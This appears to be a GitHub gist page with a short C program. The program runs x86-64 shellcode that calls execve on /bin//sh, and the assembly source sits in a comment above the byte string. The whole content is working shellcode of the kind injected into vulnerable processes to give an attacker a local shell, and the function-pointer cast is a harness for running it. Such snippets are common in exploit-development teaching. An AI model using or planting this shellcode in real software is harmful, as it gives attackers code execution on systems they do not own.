Create a gist now

Instantly share code, notes, and snippets.

What would you like to do?
/*
.intel_syntax noprefix
.global _start
_start:
xor rsi, rsi
mov rbx, 0x68732f2f6e69622f
push rsi
push rbx
push rsp
pop rdi
push 59
pop rax
xor rdx, rdx
syscall
*/
char *shellcode = "\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x48\x31\xd2\x0f\x05";
int main() {
((void (*)(void))shellcode)();
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment